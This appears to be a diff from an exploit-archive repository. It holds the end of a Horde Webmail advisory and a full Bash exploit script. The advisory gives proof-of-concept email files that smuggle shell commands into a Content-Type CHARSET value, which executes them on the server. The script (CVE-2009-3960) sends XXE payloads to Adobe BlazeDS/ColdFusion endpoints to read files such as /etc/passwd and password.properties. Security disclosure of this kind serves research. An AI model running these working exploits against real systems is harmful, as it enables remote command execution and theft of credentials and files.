||||
/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset);
|
||||
/* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n",
|
||||
$val['data']) . "\n" . implode("\n", $sig['data']));
|
||||
/* 222 */
|
||||
/* 223 */ $part->addPart($part1);
|
||||
/* 224 */ $part->addPart($part2);
|
||||
/* 225 */ $new_part->addPart($part);
|
||||
/* 226 */
|
||||
/* 227 */ next($parts);
|
||||
/* 228 */ }
|
||||
/* 229 */ }
|
||||
/* 230 */ }
|
||||
/* 231 */
|
||||
/* 232 */ return $new_part;
|
||||
/* 233 */ }
|
||||
|
||||
It is called from _parsePGP():
|
||||
|
||||
Path – /imp/lib/Mime/Viewer/Plain.php
|
||||
|
||||
×
|
||||
1
|
||||
2
|
||||
3
|
||||
4
|
||||
5
|
||||
6
|
||||
7
|
||||
8
|
||||
/* 239 */ protected function _parsePGP()
|
||||
/* 240 */ {
|
||||
/* 241 */ $part =
|
||||
$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart(
|
||||
/* 242 */ new Horde_Stream_Existing(array(
|
||||
/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true))
|
||||
/* 244 */ )),
|
||||
/* 245 */ $this->_mimepart->getCharset()
|
||||
/* 246 */ );
|
||||
|
||||
Our charset value is taken from CHARSET attribute of Content-Type
|
||||
header of parent MIMEpart.
|
||||
|
||||
_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde
|
||||
Webmail ver 5.2.0 it looks like:
|
||||
|
||||
Path – /imp/lib/Mime/Viewer/Plain.php
|
||||
|
||||
/* 222 */ protected function _getEmbeddedMimeParts()
|
||||
/* 223 */ {
|
||||
/* 224 */ $ret = $this->getConfigParam('pgp_inline')
|
||||
/* 225 */ ? $this->_parsePGP()
|
||||
/* 226 */ : null;
|
||||
|
||||
We can see an additional requirement – our function will be called
|
||||
only if ‘pgp_inline‘ config parameter is “true”. It is defined in:
|
||||
|
||||
Path – /imp/config/mime_drivers.php
|
||||
|
||||
/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data
|
||||
/* 38 */ * out of the output (and, if PGP is active, will display the
|
||||
/* 39 */ * results of the PGP action). */
|
||||
/* 40 */ 'pgp_inline' => false
|
||||
|
||||
Default value is false, so the major part of Horde servers is not
|
||||
vulnerable and our attack is relevant only if an admin manually has
|
||||
changed this line to ‘pgp_inline‘ => true.
|
||||
|
||||
But in older versions (before 5.2.0) the code of
|
||||
_getEmbeddedMimeParts() is a bit different:
|
||||
|
||||
Path – /imp/lib/Mime/Viewer/Plain.php
|
||||
|
||||
/* 227 */ protected function _getEmbeddedMimeParts()
|
||||
/* 228 */ {
|
||||
/* 229 */ $ret = null;
|
||||
/* 230 */
|
||||
/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) &&
|
||||
/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) {
|
||||
/* 233 */ $ret = $this->_parsePGP();
|
||||
/* 234 */ }
|
||||
|
||||
So instead of requirement to have config parameter we have requirement
|
||||
of ‘pgp_scan_body‘ Preference of current user. And it is more likely
|
||||
to find a victim with needed preferences. We saw where our injected
|
||||
command is executed and from where and when it is taken
|
||||
|
||||
During rendering of massage we:
|
||||
|
||||
Will parse PGP values:
|
||||
|
||||
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
|
||||
[/imp/lib/Mime/Viewer/Plain.php:225]
|
||||
#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at
|
||||
[/Horde/Mime/Viewer/Base.php:298]
|
||||
#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at
|
||||
[/imp/lib/Contents.php:1114]
|
||||
#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186]
|
||||
#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423]
|
||||
#5 IMP_Contents->getInlineOutput() called at
|
||||
[/imp/lib/Ajax/Application/ShowMessage.php:296]
|
||||
|
||||
Will use them in:
|
||||
|
||||
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
|
||||
[/imp/lib/Mime/Viewer/Plain.php:225]
|
||||
#0 IMP_Mime_Viewer_Pgp->_renderInline() called at
|
||||
[/Horde/Mime/Viewer/Base.php:156]
|
||||
#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207]
|
||||
#2 Horde_Mime_Viewer_Base->_renderInline() called at
|
||||
[/Horde/Mime/Viewer/Base.php:156]
|
||||
#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654]
|
||||
#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462]
|
||||
#5 IMP_Contents->getInlineOutput() called at
|
||||
[/imp/lib/Ajax/Application/ShowMessage.php:296]]
|
||||
|
||||
In conclusions:
|
||||
|
||||
If Horde server has vulnerable configuration:
|
||||
|
||||
Enabled “GnuPG feature” (there is path to gpg binary in
|
||||
$conf[gnupg][path] setting)
|
||||
Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in
|
||||
/imp/config/mime_drivers.php
|
||||
|
||||
And the victim has checked the next checkbox in his/her preferences (
|
||||
“PGP Configure PGP encryption support.” in Prefferences->Mail) :
|
||||
|
||||
“Enable PGP functionality”
|
||||
“Should PGP signed messages be automatically verified when viewed?” if
|
||||
it is not checked our command will be executed when the victim clicks
|
||||
on the link “Click HERE to verify the message.”
|
||||
For versions before 5.2.0: “Should the body of plaintext message be
|
||||
scanned for PGP data”
|
||||
|
||||
An attacker can create email with PGP data, put desired command into
|
||||
CHARSET attribute of ContentType header, and this command will be
|
||||
executed on Horde server when the victim opens this email.
|
||||
|
||||
Proof of Concept – Remote Code Execution
|
||||
|
||||
For Proof of Concept we can use preconfigured image of Horde server
|
||||
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
|
||||
that work on any platform”):
|
||||
|
||||
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
|
||||
|
||||
Step 1 – Login as admin (by default user:bitnami) and go to
|
||||
Administration -> Configuration and choose Horde (horde). Open GnuPG
|
||||
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
|
||||
“Generate Horde Configuration“:
|
||||
|
||||
Now we have enabled GPG feature on our server and we can login as
|
||||
regular user and try to execute desired commands. But Bitnami image
|
||||
does not have installed and configured Mail server so we need to use
|
||||
external one or install it on local machine.
|
||||
|
||||
We will use gmail account (to be able to login to it from Horde I had
|
||||
to change Gmail account setting Allow less secure apps: ON).
|
||||
|
||||
To use external Mail server we need to change the next setting:
|
||||
“Administrator Panel” -> “Configuration” -> “Horde” ->
|
||||
“Authentication”
|
||||
|
||||
Configure the application authentication ($conf[auth][driver]) –
|
||||
change this option to “Let a Horde application handle authentication”
|
||||
and click “Generate Horde Configuration”.
|
||||
|
||||
If we have Horde Webmail ver 5.2.0 or newer we need to edit
|
||||
/imp/config/mime_drivers.php file. Login to the console of bitnami
|
||||
image (default bitnami:bitnami) and run the next command:
|
||||
|
||||
sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php
|
||||
|
||||
Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and
|
||||
save the changes.
|
||||
|
||||
Step 2 – Logout and login with your gmail account.
|
||||
|
||||
Step 3 – Go to Preferences -> Mail and click on PGP link:
|
||||
|
||||
Check Enable PGP functionality checkbox and click “Save”
|
||||
Check Should PGP signed messages be automatically verified when viewed checkbox
|
||||
For versions before 5.2.0 check “Should the body of plain-text message
|
||||
be scanned for PGP data” checkbox Click “Save”
|
||||
|
||||
For version before 5.2.0:
|
||||
|
||||
Step 4 – Go to the Mail, take any mail folder (for example Drafts),
|
||||
and chose “Import” item from context menu and import attack_whoami.eml
|
||||
file (in the end of this blog).
|
||||
|
||||
Click on the imported email:
|
||||
|
||||
Our Horde serve is launched under daemon user
|
||||
|
||||
Step 5 – We can do the same with attack_touch.eml (in the end of this
|
||||
blog) file (import it and click on the new mail) and check /tmp
|
||||
folder:
|
||||
|
||||
attack_touch.eml
|
||||
|
||||
Date: Fri, 04 Nov 2016 16:04:19 +0000
|
||||
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
|
||||
From: Donald Trump <attacker@attacker.com>
|
||||
To: SomeUser@mydoamin.com
|
||||
Subject: PGP_INLine_touch_tmp_youarevuln
|
||||
X-IMP-Draft: Yes
|
||||
Content-Type: text/plain; CHARSET="US-ASCII`touch /tmp/youarevuln`";
|
||||
format=flowed; DelSp=Yes
|
||||
MIME-Version: 1.0
|
||||
Content-Disposition: inline
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
Hash: SHA1
|
||||
|
||||
This is a sample of a clear signed message.
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
Version: 2.6.2
|
||||
|
||||
iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
|
||||
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
|
||||
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
|
||||
CvynscaD+wA=
|
||||
=Xb9n
|
||||
-----END PGP SIGNATURE-----
|
||||
|
||||
attack_whoami.eml
|
||||
|
||||
Date: Fri, 04 Nov 2016 16:04:19 +0000
|
||||
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
|
||||
From: Donald Trump <attacker@attacker.com>
|
||||
To: SomeUser@mydoamin.com
|
||||
Subject: PGP_INLine_whoami
|
||||
X-IMP-Draft: Yes
|
||||
Content-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes
|
||||
MIME-Version: 1.0
|
||||
Content-Disposition: inline
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
Hash: SHA1
|
||||
|
||||
This is a sample of a clear signed message.
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
Version: 2.6.2
|
||||
|
||||
iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
|
||||
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
|
||||
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
|
||||
CvynscaD+wA=
|
||||
=Xb9n
|
||||
-----END PGP SIGNATURE-----
|
228
platforms/xml/webapps/41855.sh
Executable file
228
platforms/xml/webapps/41855.sh
Executable file
|
@ -0,0 +1,228 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Source: https://raw.githubusercontent.com/tsluyter/exploits/master/adobe_xml_inject.sh
|
||||
# Exploit Title: Adobe XML Injection file content disclosure
|
||||
# Date: 07-04-2017
|
||||
# Exploit Author: Thomas Sluyter
|
||||
# Website: https://www.kilala.nl
|
||||
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
|
||||
# Version: Multiple Adobe products
|
||||
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
|
||||
# CVE : 2009-3960
|
||||
#
|
||||
# Shell script that let's you exploit a known XML injection vulnerability
|
||||
# in a number of Adobe products, allowing you to read files that are otherwise
|
||||
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
|
||||
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
|
||||
#
|
||||
# According to the original Metasploit code, this attack works with:
|
||||
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
|
||||
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
|
||||
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
|
||||
#
|
||||
|
||||
|
||||
PROGNAME="$(basename $0)" # This script
|
||||
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
|
||||
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
|
||||
EXITCODE="0" # Assume success, changes on errors
|
||||
CURL="/usr/bin/curl" # Other locations are detected with "which"
|
||||
|
||||
SSL="0" # Overridden by -s
|
||||
DEBUG="0" # Overridden by -d
|
||||
BREAKFOUND="0" # Overridden by -b
|
||||
TARGETHOST="" # Overridden by -h
|
||||
TARGETPORT="8400" # Overridden by -p
|
||||
READFILE="/etc/passwd" # Overridden by -f
|
||||
|
||||
|
||||
################################## OVERHEAD SECTION
|
||||
#
|
||||
# Various functions for overhead purposes.
|
||||
#
|
||||
|
||||
# Defining our own logger function, so we can switch between stdout and syslog.
|
||||
logger() {
|
||||
LEVEL="$1"
|
||||
MESSAGE="$2"
|
||||
|
||||
# You may switch the following two, if you need to log to syslog.
|
||||
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
|
||||
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
|
||||
}
|
||||
|
||||
|
||||
ExitCleanup() {
|
||||
EXITCODE=${1}
|
||||
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
|
||||
echo ""
|
||||
exit ${EXITCODE}
|
||||
}
|
||||
|
||||
|
||||
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
|
||||
ValidIP() {
|
||||
local IP=${1}
|
||||
local STAT=1
|
||||
|
||||
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
|
||||
then
|
||||
OIFS=$IFS; IFS='.'
|
||||
IP=(${IP})
|
||||
IFS=$OIFS
|
||||
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
|
||||
stat=$?
|
||||
fi
|
||||
return $stat
|
||||
}
|
||||
|
||||
|
||||
# Function to output help information.
|
||||
show-help() {
|
||||
echo ""
|
||||
cat << EOF
|
||||
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
|
||||
|
||||
-? Show this help message.
|
||||
-d Debug mode, outputs more kruft on stdout.
|
||||
-s Use SSL / HTTPS, instead of HTTP.
|
||||
-b Break on the first valid answer found.
|
||||
-h Target host
|
||||
-p Target port, defaults to 8400.
|
||||
-f Full path to file to grab, defaults to /etc/passwd.
|
||||
|
||||
This script exploits a known vulnerability in a set of Adobe applications. Using one
|
||||
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
|
||||
normally inaccessible.
|
||||
|
||||
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
|
||||
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
|
||||
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
|
||||
|
||||
This script relies on CURL, so please have it in your PATH.
|
||||
|
||||
EOF
|
||||
}
|
||||
|
||||
|
||||
# Parsing and verifying the passed parameters.
|
||||
OPTIND=1
|
||||
while getopts "?dsbh:p:f:" opt; do
|
||||
case "$opt" in
|
||||
\?) show-help; ExitCleanup 0 ;;
|
||||
d) DEBUG="1" ;;
|
||||
s) SSL="1" ;;
|
||||
b) BREAKFOUND="1" ;;
|
||||
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
|
||||
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
|
||||
then TARGETHOST=${OPTARG}
|
||||
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
|
||||
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
|
||||
fi ;;
|
||||
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
|
||||
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
|
||||
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
|
||||
else TARGETPORT=${OPTARG}
|
||||
fi ;;
|
||||
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
|
||||
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
|
||||
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
|
||||
else READFILE=${OPTARG}
|
||||
fi ;;
|
||||
*) show-help; ExitCleanup 0 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
|
||||
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
|
||||
|
||||
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
|
||||
|
||||
|
||||
################################## GETTING TO WORK
|
||||
#
|
||||
#
|
||||
|
||||
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
|
||||
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
|
||||
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
|
||||
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
|
||||
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
|
||||
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
|
||||
"/lcds-samples/messagebroker/httpsecure")
|
||||
|
||||
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
|
||||
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
|
||||
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
|
||||
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
|
||||
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
|
||||
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
|
||||
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
|
||||
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
|
||||
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
|
||||
|
||||
if [[ ${DEBUG} -gt 0 ]]
|
||||
then
|
||||
logger DEBUG "XML file sent to target host reads as follows:"
|
||||
echo "======================================"
|
||||
cat ${SCRATCHFILE}
|
||||
echo "======================================"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
|
||||
|
||||
for ADOBEPATH in "${PATHLIST[@]}"
|
||||
do
|
||||
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
|
||||
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
|
||||
|
||||
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
|
||||
|
||||
# Header contents based on a tcpdump capture of original exploit being
|
||||
# run from Metasploit.
|
||||
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
|
||||
|
||||
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
|
||||
|
||||
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
|
||||
|
||||
# The tr command dikes out any non-ASCII characters which might mess with output.
|
||||
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
|
||||
|
||||
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
|
||||
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
|
||||
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
|
||||
|
||||
if [[ ${DEBUG} -gt 0 ]]
|
||||
then
|
||||
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
|
||||
logger DEBUG "Output from CURL reads as follows:"
|
||||
echo "======================================"
|
||||
echo "${CURLOUTPUT}"
|
||||
echo "======================================"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
logger INFO "${CURLCODE} for ${URI}"
|
||||
|
||||
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
|
||||
then
|
||||
echo "Read from ${URI}:"
|
||||
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
|
||||
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
|
||||
fi
|
||||
|
||||
if [[ ${DEBUG} -gt 0 ]]
|
||||
then
|
||||
echo -e "\nReady to continue with the next URI? [y/n]: \c"
|
||||
read READY
|
||||
case ${READY} in
|
||||
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
|
||||
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
|
||||
esac
|
||||
fi
|
||||
done
|
||||
|
||||
|
||||
ExitCleanup 0
|
Loading…
Add table
Reference in a new issue